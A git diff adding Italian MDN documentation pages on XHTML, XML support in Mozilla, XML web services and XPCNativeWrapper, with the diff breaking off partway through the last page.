+<p>Custom controls lets the form author "skin" each XForms control through XBL, and create f.x. an SVG <code>input</code> in <a href="it/SVG">SVG</a>.
+</p>
+<dl><dt> <a href="it/Le_preferenze_utente_e_XForms">Le preferenze utente e XForms</a>
+</dt><dd> <small>Una descrizione delle variabili di <code>about:config</code> utilizzate da XForms.</small>
+</dd></dl>
+<dl><dt> <a href="it/Guida_di_riferimento_all'API_di_XForms">Guida di riferimento all'API di XForms</a>
+</dt><dd> <small>Documentazione delle interfacce di XForms.</small>
+</dd></dl>
+</td>
+<td>
+<h4 id="Strumenti"> Strumenti</h4>
+<ul><li> <a class="external" href="http://xformsinstitute.com/validator/">XForms validator</a>
+</li><li> <a class="external" href="http://beaufour.dk/index.php?sec=misc&amp;pagename=xforms">XForms Buddy</a>
+</li></ul>
+<h4 id="Argomenti_correlati"> Argomenti correlati </h4>
+<ul><li> <a href="it/Estensioni">Estensioni</a>
+</li><li> <a href="it/HTML">HTML</a>
+</li><li> <a href="it/XHTML">XHTML</a>
+</li><li> <a href="it/XML">XML</a>
+</li><li> <a href="it/XPath">XPath</a>
+</li></ul>
+</td></tr></tbody></table>
+<p><span>Interwiki Language Links</span>
+</p>{{ languages( { "en": "en/XForms", "es": "es/XForms", "fr": "fr/XForms", "ja": "ja/XForms", "pl": "pl/XForms" } ) }}
diff --git a/files/it/xhtml/index.html b/files/it/xhtml/index.html
new file mode 100644
index 0000000000..ea600cce7c
--- /dev/null
+++ b/files/it/xhtml/index.html
@@ -0,0 +1,26 @@
+---
+title: XHTML
+slug: XHTML
+tags:
+  - Tutte_le_categorie
+  - XHTML
+translation_of: Glossary/XHTML
+---
+<p>
+</p><p><b>XHTML</b> sta a <a href="it/XML">XML</a> come <a href="it/HTML">HTML</a> sta a <a href="it/SGML">SGML</a>. Questo significa che XHTML è un linguaggio a markup simile a HTML, ma con una sintassi più rigida. Le due versioni di XHTML definite dal <a class="external" href="http://www.w3.org/">W3C</a> sono:
+</p>
+<ul><li> <a class="external" href="http://www.w3.org/TR/xhtml1/">XHTML 1.0</a> - un HTML4 riscritto come applicazione XML, in certi casi retrocompatibile.
+</li><li> <a class="external" href="http://www.w3.org/TR/xhtml11/">XHTML 1.1</a> - una versione modulare di XHTML assolutamente non retrocompatibile.
+</li></ul>
+<p>Una terza versione, <a class="external" href="http://www.w3.org/TR/xhtml2/">XHTML 2</a>, che comprende modifiche significative al vocabolario degli elementi, è attualmente in sviluppo.
+</p><p>Per ulteriori informazioni si veda:
+</p>
+<ul><li> <a class="external" href="http://it.wikipedia.org/wiki/HTML">L'articolo su Wikipedia Italia</a>
+</li><li> <a class="external" href="http://en.wikipedia.org/wiki/XHTML">L'articolo su Wikipedia</a> (EN, più completo)
+</li><li> <a class="external" href="http://www.hixie.ch/advocacy/xhtml">Inviare XHTML come text/html è considerato pericoloso</a> (EN)
+</li></ul>
+<h3 id="Strumenti"> Strumenti </h3>
+<ul><li> <a class="external" href="http://validator.w3.org/">Validatore del W3C</a>
+</li><li> <a href="it/Strumenti_di_sviluppo_aderenti_agli_standard">Strumenti di sviluppo aderenti agli standard</a>
+</li></ul>
+{{ languages( { "en": "en/XHTML", "es": "es/XHTML", "fr": "fr/XHTML", "pt": "pt/XHTML" } ) }}
diff --git a/files/it/xml_in_mozilla/index.html b/files/it/xml_in_mozilla/index.html
new file mode 100644
index 0000000000..b710d649e6
--- /dev/null
+++ b/files/it/xml_in_mozilla/index.html
@@ -0,0 +1,283 @@
+---
+title: XML in Mozilla
+slug: XML_in_Mozilla
+tags:
+  - NeedsUpdate
+  - Tutte_le_categorie
+  - XML
+translation_of: Archive/Mozilla/XML_in_Mozilla
+---
+<p>Mozilla gestisce ampiamente <a href="/it/XML" title="it/XML">XML</a>. Sono gestite diverse Raccomandazioni e bozze del World Wide Web Consortium (<a class="external" href="http://w3c.org/">W3C</a>) per la famiglia XML, così come altre tecnologie relative.</p>
+
+<h3 id="Supporto_principale_alle_Raccomandazioni_W3C_per_l.27XML" name="Supporto_principale_alle_Raccomandazioni_W3C_per_l.27XML">Supporto principale alle Raccomandazioni W3C per l'XML</h3>
+
+<p>Il supporto principale ad XML include: il parsing senza validazione (utilizzando Expat parser), la visualizzazione di XML con CSS, la manipolazione di documenti XML con script che utilizzano la tecnologia DOM, l'associazione dei fogli di stile ai documenti XML, e i namespace. Il supporto principale è buono, ma ha ancora qualche bug.</p>
+
+<h4 id="DTD_e_altre_entit.C3.A0_esterne" name="DTD_e_altre_entit.C3.A0_esterne">DTD e altre entità esterne</h4>
+
+<p>Mozilla non utilizza entità esterne prese dalla rete.</p>
+
+<p>Mozilla può caricare entità esterne solamente se l'identificatore di sistema utilizza il protocollo <code>chrome</code>. Questa caratteristica viene usata principalmente per <a href="/it/XUL_Tutorial/Regionalizzazione" title="it/XUL_Tutorial/Regionalizzazione">regionalizzare Mozilla in lingue diverse dall'Inglese</a> (le stringhe UI vengono mantenute in file DTD esterni). Mozilla carica entità esterne in un altro caso: se l'identificatore di sistema ha un percorso relativo, e se la dichiarazione XML definisce il documento come <strong>non</strong> autonomo (standalone), che è l'attributo di default. In questo caso Mozilla proverà a cercare l'entità nella cartella <code>&lt;bin&gt;/res/dtd</code>.</p>
+
+<p>Mozilla può fare eccezioni sulle entità esterne anche per documenti XHTML. Si veda sotto.</p>
+
+<p>Mozilla leggerà i subset interni (DTD), e in casi speciali anche le DTD esterne (come è stato spiegato sopra) e utilizzarà queste informazioni per riconoscere gli attributi di tipo ID, i valori di default per gli attributi e le entità generali.</p>
+
+<h4 id="Altre_note" name="Altre_note">Altre note</h4>
+
+<p>Gran parte del Document Object Model (<a class="external" href="http://www.w3.org/DOM/">DOM</a>, Raccomandazioni e bozze W3C) si applica ad XML. Per esempio il linguaggio Cascading Style Sheets (<a class="external" href="http://www.w3.org/Style/CSS/">CSS</a>, Raccomandazioni e bozze W3C) può essere utilizzato per formattare documenti XML.</p>
+
+<p>Il codice per il supporto principale ad XML può essere trovato nelle seguenti cartelle presenti sul server CVS di Mozilla: <code><a href="https://dxr.mozilla.org/mozilla-central/source/content/xml/" rel="custom">content/xml/</a></code>, <code><a href="https://dxr.mozilla.org/mozilla-central/source/parser/expat/" rel="custom">parser/expat/</a></code>, e <code><a href="https://dxr.mozilla.org/mozilla-central/source/parser/htmlparser/" rel="custom">parser/htmlparser/</a></code>.</p>
+
+<p>La scelta del newsgroup dove discutere (in Inglese) sul supporto di XML in Mozilla, dipende dalla natura della domanda. Per esempio, le domande su DOM dovrebbero essere discusse sul newsgroup mozilla.dev.tech.dom, mentre le discussioni sullo stile dovrebbero essere svolte su mozilla.dev.tech.css e così via. Le discussioni di carattere generale su XML si trovano su mozilla.dev.tech.xml.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Specificazione o tecnologia</td>
+   <td class="header">Status e/o maggiore documentazione</td>
+  </tr>
+  <tr>
+   <td>XML</td>
+   <td><a class="external" href="http://www.w3.org/TR/REC-xml">W3C Recommendation</a></td>
+  </tr>
+  <tr>
+   <td>Namespace in XML</td>
+   <td><a class="external" href="http://www.w3.org/TR/REC-xml-names/">W3C Recommendation</a></td>
+  </tr>
+  <tr>
+   <td>Associare i fogli di stile ai documenti XML</td>
+   <td><a class="external" href="http://www.w3.org/TR/xml-stylesheet/">W3C Recommendation</a></td>
+  </tr>
+  <tr>
+   <td>Formattare documenti XML con CSS</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>Manipolare documenti XML con script che usano DOM</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>Convertire un albero DOM di un foglio XML in un albero di oggetti Javascript (<a href="/it/Costruire_e_decostruire_un_documento_XML#JXON" title="it/Costruire_e_decostruire_un_documento_XML#JXON">JXON</a>)</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Altre_Raccomandazioni_XML_del_W3C_gestite" name="Altre_Raccomandazioni_XML_del_W3C_gestite">Altre Raccomandazioni XML del W3C gestite</h3>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Specificazione o Technologia</td>
+   <td class="header">Documentazione</td>
+  </tr>
+  <tr>
+   <td>XHTML</td>
+   <td><a class="external" href="http://www.w3.org/TR/xhtml1/">W3C Recommendation</a></td>
+  </tr>
+  <tr>
+   <td>XML Base (solo per collegamenti, non per <code>:visited</code> ecc. Proprietà <a href="/it/CSS" title="it/CSS">CSS</a>)</td>
+   <td><a class="external" href="http://www.w3.org/TR/xmlbase/">W3C Recommendation</a></td>
+  </tr>
+  <tr>
+   <td>XLink (solo XLinks semplici)</td>
+   <td><a class="external" href="http://www.w3.org/TR/xlink/">W3C Recommendation</a></td>
+  </tr>
+  <tr>
+   <td>FIXptr</td>
+   <td><a class="external" href="http://lists.w3.org/Archives/Public/www-xml-linking-comments/2001AprJun/att-0074/01-NOTE-FIXptr-20010425.htm">W3C "proposal"</a></td>
+  </tr>
+  <tr>
+   <td>XPointer Framework</td>
+   <td><a class="external" href="http://www.w3.org/TR/xptr-framework/">W3C Recommendation</a></td>
+  </tr>
+  <tr>
+   <td>XPointer <code>element()</code> scheme</td>
+   <td><a class="external" href="http://www.w3.org/TR/xptr-element/">W3C Recommendation</a></td>
+  </tr>
+  <tr>
+   <td>XPointer <code>xmlns()</code> scheme</td>
+   <td><a class="external" href="http://www.w3.org/TR/xptr-xmlns/">W3C Recommendation</a></td>
+  </tr>
+  <tr>
+   <td>XPointer <code>fixptr()</code> scheme</td>
+   <td>Questo schema è solo un wrapper per FIXptr</td>
+  </tr>
+  <tr>
+   <td>XPointer <code>xpath1()</code> scheme</td>
+   <td><a class="external" href="http://www.simonstl.com/ietf/draft-stlaurent-xpath-frag-00.html">Internet-Draft</a></td>
+  </tr>
+  <tr>
+   <td><code>document.load()</code>, <code>document.async</code></td>
+   <td><a class="external" href="http://www.w3.org/TR/DOM-Level-3-LS/load-save.html#LS-DocumentLS">Part of DOM Level 3 Load &amp; Save module, a W3C Working Draft</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h4 id="XHTML" name="XHTML">XHTML</h4>
+
+<p><a href="/it/XHTML" title="it/XHTML">XHTML</a> è ampiamente supportato, la maggior parte delle cose dovrebbero funzionare. I documenti XHTML vengo trattati in maniera differente a seconda del mime type (o a seconda dei suffissi dei file se vengono caricati da dischi locali). Per i file che passano attraverso il code path <a href="/it/HTML" title="it/HTML">HTML</a> non si controlla se sono ben formati. E' possibile inoltre notare che non tutte le caratteristiche di XHTML vengono supportate se passano con il code path HTML.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">MIME Type</td>
+   <td class="header">Suffisso del file</td>
+   <td class="header">Code Path</td>
+  </tr>
+  <tr>
+   <td>text/xml<br>
+    application/xml<br>
+    application/xhtml+xml</td>
+   <td>xml<br>
+    xht<br>
+    xhtml</td>
+   <td>XML</td>
+  </tr>
+  <tr>
+   <td>text/html</td>
+   <td>html<br>
+    htm</td>
+   <td>HTML</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>L'intero documento deve essere XHTML. Possono essere utilizzati elementi XHTML all'interno di documenti XML specificando il namespace XHTML. Per degli esempi si veda la sezione <a href="#Testing_and_QA">Testing and QA</a>. Il namespace corretto per XHTML è <code><span class="nowiki">http://www.w3.org/1999/xhtml</span></code></p>
+
+<p>Si noti che le entità XHTML, come <code>&amp;auml;</code>, funzionano solo in conformità ai documenti XHTML che hanno un XHTML Formal Public Identifier valido (cioè, in parole povere, una sezione DOCTYPE con un identificatore PUBLIC). Le entità XHTML non funzioneranno in documenti XML, neanche se viene specificato il namespace XHTML. Gli identificatori pubblici riconosciuti sono:</p>
+
+<pre>-//W3C//DTD XHTML 1.0 Transitional//EN
+-//W3C//DTD XHTML 1.1//EN
+-//W3C//DTD XHTML 1.0 Strict//EN
+-//W3C//DTD XHTML 1.0 Frameset//EN
+-//W3C//DTD XHTML Basic 1.0//EN
+-//W3C//DTD XHTML 1.1 plus MathML 2.0//EN
+-//W3C//DTD XHTML 1.1 plus MathML 2.0 plus SVG 1.1//EN
+-//W3C//DTD SVG 20001102//EN
+-//WAPFORUM//DTD XHTML Mobile 1.0//EN
+</pre>
+
+<h4 id="XML_Linking_e_Pointing" name="XML_Linking_e_Pointing">XML Linking e Pointing</h4>
+
+<p>Il supporto per XML Linking include <a class="external" href="http://www.w3.org/TR/xmlbase">XML Base</a> (utilizzato solamente quando il mouse è posizionato sopra un collegamente o quando viene cliccato)) e semplici <a class="external" href="http://www.w3.org/TR/xlink/">XLinks</a>. Si può traformare qualsiasi elemento XML in un XLink utilizzando il namespace XLink <code><span class="nowiki">http://www.w3.org/1999/xlink</span></code>. Si possono anche utilizzare gli elementi di collegamento del namespace XHTML. Per degli esempi si veda la sezione <a href="#Testing_and_QA">Testing and QA</a>.</p>
+
+<p>Per il puntamento a risorse all'interno di documenti XML, Mozilla supporta anche <a class="external" href="http://lists.w3.org/Archives/Public/www-xml-linking-comments/2001AprJun/att-0074/01-NOTE-FIXptr-20010425.htm">FIXptr</a>, una versione semplificata e non compatibile di XPointer. Oltre a poter utilizzare FIXptr nei collegamenti, è posibile utilizzarlo negli script. Si veda l'interfaccia proprietaria <code><a href="https://dxr.mozilla.org/mozilla-central/source/dom/public/idl/core/nsIDOMXMLDocument.idl" rel="custom">dom/public/idl/core/nsIDOMXMLDocument.idl</a></code>. E' possibile trovare un test per <a class="link-https" href="https://bugzilla.mozilla.org/attachment.cgi?id=46954&amp;action=view">FIXptr links</a> e un <a class="link-https" href="https://bugzilla.mozilla.org/attachment.cgi?id=61629&amp;action=view">esempio di script</a>.</p>
+
+<p>A partire dalla versione 1.4alpha, Mozilla supporta anche <a class="external" href="http://www.w3.org/TR/xptr-framework/">XPointer Framework</a>, <a class="external" href="http://www.w3.org/TR/xptr-element/">XPointer <code>element()</code> scheme</a>, <a class="external" href="http://www.w3.org/TR/xptr-xmlns/">XPointer <code>xmlns()</code> scheme</a>, XPointer <code>fixptr()</code> scheme e <a class="external" href="http://www.simonstl.com/ietf/draft-stlaurent-xpath-frag-00.html">XPointer <code>xpath1()</code> scheme</a>. Il processore XPointer è estensibile ed è semplice implentare supporto per altri schemi. Si veda l'<a href="https://dxr.mozilla.org/mozilla-central/source/content/xml/document/public/nsIXPointer.idl" rel="custom">API</a>. L'<code>xpath1()</code> scheme è stato <a href="https://dxr.mozilla.org/mozilla-central/source/content/xslt/src/xpath/nsXPath1Scheme.cpp" rel="custom">implementato utilizzando questo meccanismo estensibile</a>. E' inoltre possibile trovare <a href="https://dxr.mozilla.org/mozilla-central/source/dom/public/idl/core/nsIDOMXMLDocument.idl" rel="custom">API proprietari</a> per il processore XPointer. Inoltre si potrebbe considerare di visionare anche il</p>
+
+<p><a class="link-https" href="https://bugzilla.mozilla.org/attachment.cgi?id=119333&amp;action=view">test per XPointers</a>.</p>
+
+<p>Infine, è disponibile uno script predefinito (molto utile con FIXptr) che seleziona il target del collegamento passandoci sopra con il mouse. Non c'è ancora un UI per impostare questo script predefinito, quindi sarà necessario modificare manualmente il file delle preferenze. Si aggiunga questa linea.</p>
+
+<pre>pref("layout.selectanchor", true);
+</pre>
+
+<h4 id="DOM_Load_and_Save_Methods" name="DOM_Load_and_Save_Methods">DOM Load and Save Methods</h4>
+
+<p><code>document.load()</code> is a part of an old version of the W3C <a class="external" href="http://www.w3.org/TR/DOM-Level-3-LS/load-save.html#LS-DocumentLS">DOM Level 3 Load &amp; Save module</a>. Mozilla currently implements only the <code>load()</code> method and the <code>async</code> property. Since 1.4alpha it has been possible to load documents synchronously, before that it was only asynchronous. <a href="https://dxr.mozilla.org/mozilla-central/source/content/xml/tests/load/" rel="custom">See the load sample</a> in the XML tests directory. (Loading the load.html file from the LXR generated page will not work because LXR will munge the test.xml file into HTML and serve it as HTML. To test this functionality, create the files on your local disk or on a webserver.)</p>
+
+<h3 id="Outside_Supported_XML_W3C_Recommendations" name="Outside_Supported_XML_W3C_Recommendations">Outside Supported XML W3C Recommendations</h3>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Specification or Technology</td>
+   <td class="header">Documentation</td>
+   <td class="header">Mozilla Project</td>
+  </tr>
+  <tr>
+   <td><a href="/it/XSLT" title="it/XSLT">XSLT</a></td>
+   <td><a class="external" href="http://www.w3.org/TR/xslt">W3C Recommendation</a></td>
+   <td><a class="external" href="http://www.mozilla.org/projects/xslt/">XSLT</a></td>
+  </tr>
+  <tr>
+   <td><a href="/it/XPath" title="it/XPath">XPath</a></td>
+   <td><a class="external" href="http://www.w3.org/TR/xpath">W3C Recommendation</a></td>
+   <td><a class="external" href="http://www.mozilla.org/projects/xslt/">XSLT</a></td>
+  </tr>
+  <tr>
+   <td><a href="/it/XMLHttpRequest" title="it/XMLHttpRequest">XMLHttpRequest</a></td>
+   <td><a class="external" href="http://www.w3.org/TR/XMLHttpRequest/">W3C Draft</a></td>
+   <td><a class="external" href="http://www.mozilla.org/xmlextras/">XML Extras</a></td>
+  </tr>
+  <tr>
+   <td><a href="/it/DOMParser" title="it/DOMParser">DOMParser</a> and <a href="/it/XMLSerializer" title="it/XMLSerializer">XMLSerializer</a></td>
+   <td><a class="external" href="http://www.mozilla.org/xmlextras/">Mozilla</a></td>
+   <td><a class="external" href="http://www.mozilla.org/xmlextras/">XML Extras</a></td>
+  </tr>
+  <tr>
+   <td><a href="/it/SAX" title="it/SAX">SAX</a></td>
+   <td><a class="external" href="http://www.saxproject.org/" rel="freelink">http://www.saxproject.org/</a></td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><a href="/it/SOAP_in_Gecko-based_Browsers" title="it/SOAP_in_Gecko-based_Browsers">SOAP</a></td>
+   <td><a class="external" href="http://www.w3.org/TR/SOAP/">W3C Note</a></td>
+   <td><a class="external" href="http://www.mozilla.org/projects/webservices/">Web Services</a></td>
+  </tr>
+  <tr>
+   <td><a href="/it/XML-RPC" title="it/XML-RPC">XML-RPC</a></td>
+   <td><a class="external" href="http://www.xmlrpc.com/spec">UserLand Software</a></td>
+   <td><a class="external" href="http://www.mozilla.org/projects/xmlrpc/">XML-RPC</a></td>
+  </tr>
+  <tr>
+   <td><a href="/it/RDF" title="it/RDF">RDF</a></td>
+   <td><a class="external" href="http://www.w3.org/RDF/">W3C Recommendations</a></td>
+   <td><a href="/it/RDF" title="it/RDF">RDF</a></td>
+  </tr>
+  <tr>
+   <td><a href="/it/SVG" title="it/SVG">SVG</a></td>
+   <td><a class="external" href="http://www.w3.org/Graphics/SVG/">W3C Proposed Recommendation</a></td>
+   <td><a class="external" href="http://www.mozilla.org/projects/svg/">SVG</a></td>
+  </tr>
+  <tr>
+   <td><a href="/it/MathML" title="it/MathML">MathML</a></td>
+   <td><a class="external" href="http://www.w3.org/TR/MathML/">W3C Recommendation</a></td>
+   <td><a class="external" href="http://www.mozilla.org/projects/mathml/">MathML</a></td>
+  </tr>
+  <tr>
+   <td><a href="/it/P3P" title="it/P3P">P3P</a></td>
+   <td><a class="external" href="http://www.w3.org/TR/P3P/">W3C Recommendation</a></td>
+   <td><a class="external" href="http://www.mozilla.org/projects/p3p/">P3P</a></td>
+  </tr>
+  <tr>
+   <td><a href="/it/Accessing_Web_Services_in_Mozilla_Using_WSDL_Proxying" title="it/Accessing_Web_Services_in_Mozilla_Using_WSDL_Proxying">WSDL</a></td>
+   <td><a class="external" href="http://www.w3.org/TR/wsdl">W3C Note</a></td>
+   <td><a class="external" href="http://www.mozilla.org/projects/webservices/">Web Services</a></td>
+  </tr>
+  <tr>
+   <td><a href="/it/XBL" title="it/XBL">XBL</a></td>
+   <td><a href="/it/XBL/XBL_1.0_Reference" title="it/XBL/XBL_1.0_Reference">Mozilla's XBL reference</a></td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><a href="/it/XUL" title="it/XUL">XUL</a></td>
+   <td><a href="/it/XUL_Reference" title="it/XUL_Reference">Mozilla's XUL reference</a></td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Roadmap" name="Roadmap">Roadmap</h3>
+
+<p>Next big tasks would include support for XPointer <code>xpointer()</code> scheme (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=32832" title="Implement XPointer">bug 32832</a>), XInclude, XML Catalogs (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=98413" title="Implement XML Catalogs">bug 98413</a>), XForms (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=97806" title="Implement W3C XForms in browser and composer">bug 97806</a>; work being done on implementing this as an extension), validating parser (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=196355" title="Implement validating XML parser (validate with DTDs)">bug 196355</a>), XML Schemas, and incremental layout of XML document (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=18333" title="FIXED: XML Content Sink should be incremental">bug 18333</a>).</p>
+
+<p>To fully implement XLink, we need something called a link manager. See some initial <a class="external" href="http://www.mozilla.org/newlayout/xml/lmdesign.html">design documents</a>.</p>
+
+<h3 id="Testing_and_QA" name="Testing_and_QA">Testing and QA</h3>
+
+<p>We have a lot of testcases linked to from the <a class="external" href="http://www.mozilla.org/quality/browser_sc.html">browser standards compliance</a> QA page.</p>
+
+<p>Most of the core XML test documents on the CVS server are located in <code><a href="https://dxr.mozilla.org/mozilla-central/source/content/xml/tests" rel="custom">content/xml/tests</a></code>. We also have a couple online: the books demo and the IRS table of contents demo. Both of them demonstrate XML, Associating stylesheets with XML, displaying XML with CSS, Namespaces in XML, XHTML, simple XLinks, and manipulation of XML with scripts via DOM.</p>
+
+<p>There is an XML component in Bugzilla.</p>
+
+<p>We also have the "xhtml" keyword for XHTML bugs (these tend to be scattered across components).</p>
+
+<h3 id="How_can_I_help.3F" name="How_can_I_help.3F">How can I help?</h3>
+
+<p>If you can code, look for <a class="external" href="http://bugzilla.mozilla.org/buglist.cgi?bug_status=NEW&amp;bug_status=ASSIGNED&amp;bug_status=REOPENED&amp;email1=&amp;emailtype1=substring&amp;emailassigned_to1=1&amp;email2=&amp;emailtype2=substring&amp;emailreporter2=1&amp;bugidtype=include&amp;bug_id=&amp;changedin=&amp;votes=&amp;chfieldfrom=&amp;chfieldto=Now&amp;chfieldvalue=&amp;product=Browser&amp;component=XML&amp;short_desc=&amp;short_desc_type=substring&amp;long_desc=&amp;long_desc_type=substring&amp;bug_file_loc=&amp;bug_file_loc_type=substring&amp;status_whiteboard=&amp;status_whiteboard_type=substring&amp;keywords=helpwanted&amp;keywords_type=anywords&amp;field0-0-0=noop&amp;type0-0-0=noop&amp;value0-0-0=&amp;cmdtype=doit&amp;namedcmd=joki_not_fixed_not_future&amp;newqueryname=&amp;order=Reuse+same+sort+as+last+time">helpwanted keyword in XML bugs</a>. We don't use that always, so if you want to avoid doing duplicate work you could start working on bugs that have <a class="external" href="http://bugzilla.mozilla.org/buglist.cgi?bug_status=NEW&amp;bug_status=ASSIGNED&amp;bug_status=REOPENED&amp;email1=&amp;emailtype1=substring&amp;emailassigned_to1=1&amp;email2=&amp;emailtype2=substring&amp;emailreporter2=1&amp;bugidtype=include&amp;bug_id=&amp;changedin=&amp;votes=&amp;chfieldfrom=&amp;chfieldto=Now&amp;chfieldvalue=&amp;product=Browser&amp;component=XML&amp;target_milestone=Future&amp;short_desc=&amp;short_desc_type=substring&amp;long_desc=&amp;long_desc_type=substring&amp;bug_file_loc=&amp;bug_file_loc_type=substring&amp;status_whiteboard=&amp;status_whiteboard_type=substring&amp;keywords=&amp;keywords_type=anywords&amp;field0-0-0=noop&amp;type0-0-0=noop&amp;value0-0-0=&amp;cmdtype=doit&amp;namedcmd=joki_not_fixed_not_future&amp;newqueryname=&amp;order=Reuse+same+sort+as+last+time">Future milestone</a>, or otherwise have a milestone that is set way into the future.</p>
+
+<p>You can always test our XML support. We'd really like to get tests that can be run automatically (this would require knowledge of web development; <code>document.load()</code> and/or XML Extras might be needed), but probably most of the bugs we get have just been found by normal people trying to do something that works in some other browser and does not work in Mozilla.</p>
diff --git a/files/it/xml_web_services/index.html b/files/it/xml_web_services/index.html
new file mode 100644
index 0000000000..f21331bebe
--- /dev/null
+++ b/files/it/xml_web_services/index.html
@@ -0,0 +1,38 @@
+---
+title: XML Web Services
+slug: XML_Web_Services
+tags:
+  - Tutte_le_categorie
+  - XML Web Services
+translation_of: Archive/Mozilla/Firefox/SOAP_in_Gecko-based_Browsers
+---
+<p>
+</p>
+<div class="callout-box"><b><a href="it/Le_basi_dei_Web_Service">Le basi dei Web Service</a></b><br>
+Una breve introduzione ai web service.</div>
+<p>Un <b>Web service</b> è un insieme di protocolli e standard utilizzati per lo scambio dei dati tra applicazioni e sistemi. Le applicazioni scritte in vari linguaggi di programmazione e che funzionano su differenti piattaforme possono utilizzare i web service per comunicare attraverso le reti, come Internet, in un modo simile alla comunicazione tra diversi processi che sono attivi su uno stesso computer. Nei web service XML, tutti i dati sono formattati tramite i tag.
+</p>
+<table class="topicpage-table">
+<tbody><tr><td>
+<h4 id="Documentazione"> <a href="it/Documentazione">Documentazione</a> </h4>
+<dl><dt> <a href="it/SOAP_nei_browser_basati_su_Gecko">SOAP nei browser basati su Gecko</a>
+</dt><dd> <small>Questo articolo spiega come accedere ai web service utilizzando le potenzialità di SOAP e JavaScript disponibili nei recenti browser basati su Gecko.</small>
+</dd></dl>
+<dl><dt> <a class="external" href="http://www.w3schools.com/soap/default.asp">W3School's SOAP Tutorial</a> (EN)
+</dt><dd> <small>SOAP è un semplice protocollo XML che permette alle applicazioni di scambiarsi informazioni attraverso HTTP. In questo tutorial di <a class="external" href="http://www.w3schools.com">W3Schools</a> è spiegato cos'è SOAP e come utilizza XML per lo scambio di informazioni tra le varie applicazioni.</small>
+</dd></dl>
+<dl><dt> <a class="external" href="http://davenet.scripting.com/1998/07/14/xmlRpcForNewbies">XML-RPC for Newbies</a> (EN)
+</dt><dd> <small>Una introduzione informale ma informativa a XML Remote Procedure Calls (XML-RPC).</small>
+</dd></dl>
+<dl><dt> <a class="external" href="http://webservices.xml.com/pub/a/ws/2001/04/04/webservices/">A Web Services Primer</a> (EN)
+</dt><dd> <small>"Web services are a new breed of Web application. They are self-contained, self-describing, modular applications that can be published, located, and invoked across the Web."</small>
+</dd></dl>
+</td>
+<td>
+<h4 id="Argomenti_correlati"> Argomenti correlati </h4>
+<ul><li> <a href="it/SOAP">SOAP</a>
+</li><li> <a href="it/XML">XML</a>
+</li></ul>
+</td></tr></tbody></table>
+<p><span>Interwiki Language Links</span>
+</p>{{ languages( { "fr": "fr/Services_Web_XML", "en": "en/XML_Web_Services", "ja": "ja/XML_Web_Services", "pl": "pl/XML_Web_Services" } ) }}
diff --git a/files/it/xpcnativewrapper/index.html b/files/it/xpcnativewrapper/index.html
new file mode 100644
index 0000000000..eead351c0b
--- /dev/null
+++ b/files/it/xpcnativewrapper/index.html
@@ -0,0 +1,191 @@
+---
+title: XPCNativeWrapper
+slug: XPCNativeWrapper
+tags:
+  - DOM
+  - Estensioni
+  - RichiedeRevisioneTecnica
+  - Sicurezza
+  - Tutte_le_categorie
+  - XPCNativeWrapper
+translation_of: Mozilla/Tech/Xray_vision
+---
+<p>
+<code>XPCNativeWrapper</code> è un modo di imballare un oggetto in modo da rendere <a href="it/Accedere_ai_contenuti_del_DOM_dal_chrome_in_sicurezza">sicuro l'accesso tramite un codice privilegiato</a>. Può essere utilizzato in tutte le versioni di Firefox, anche se il comportamento è in qualche modo cambiato a partire da Firefox 1.5 (Gecko 1.8). Guarda <a class="external" href="http://kb.mozillazine.org/XPCNativeWrapper">la voce <code>XPCNativeWrapper</code> su MozillaZine</a>(EN) per il comportamento di <code>XPCNativeWrapper</code> nelle versioni di Firefox precedenti alla 1.5. Questo articolo tratta <code>XPCNativeWrapper</code> solo su Firefox 1.5 o superiori.
+</p>
+<h3 id="Che_cosa_fa_XPCNativeWrapper" name="Che_cosa_fa_XPCNativeWrapper"> Che cosa fa <code>XPCNativeWrapper</code> </h3>
+<p>Un <code>XPCNativeWrapper</code> limita l'accesso alle proprietà e ai metodi dell'oggetto che imballa. Le sole proprietà e metodi accessibili attraverso un <code>XPCNativeWrapper</code> sono quelle definite nell'IDL oppure quelle definite da un livello DOM pari a 0 (anche se alcune proprietà o metodi di livello zero <a href="#Limitazioni_a_XPCNativeWrapper">non funzionano con un <code>XPCNativeWrapper</code></a>). In particolare, le proprietà aggiunte ad un oggetto con un JavaScript non sono esposte ad un <code>XPCNativeWrapper</code> per l'oggetto imballato, e l'accesso e la modifica non sono definibili con <code>__defineGetter__</code> e <code>__defineSetter__</code>. L'intento è quello di permettere un accesso sicuro ai metodi definiti dall'IDL dell'oggetto.
+</p>
+<h3 id="Tipi_di_XPCNativeWrapper" name="Tipi_di_XPCNativeWrapper"> Tipi di <code>XPCNativeWrapper</code> </h3>
+<p>Esistono tre diversi tipi di <code>XPCNativeWrapper</code> in Firefox 1.5. Tutti e tre i tipi imballano un ogetto potenzialmente non sicuro e <a href="#Che_cosa_fa_XPCNativeWrapper">garantiscono un accesso sicuro alle sue proprietà e metodi</a>.
+</p><p>Le differenze di comportamento tra i tre tipi di <code>XPCNativeWrapper</code> sono determinate dalle due caratteristiche che un <code>XPCNativeWrapper</code> può avere. Un <code>XPCNativeWrapper</code> può essere <a href="#Esplicito_vs._Implicito"><i>esplicito</i></a> (o, all'opposto, <i>implicito</i>) e può essere <a href="#Profondo_vs._Superficiale"><i>profondo</i></a> (o, al contrario, <i>superficiale</i>). Il tipo di imballaggio è determinato dal <a href="#Creare_un_oggetto_XPCNativeWrapper">modo in cui è stato creato</a>, come segue:
+</p>
+<table>
+<tbody><tr>
+<th> Creato da
+</th><th> Esplicito/Implicito
+</th><th> Profondo/Superficiale
+</th></tr>
+<tr>
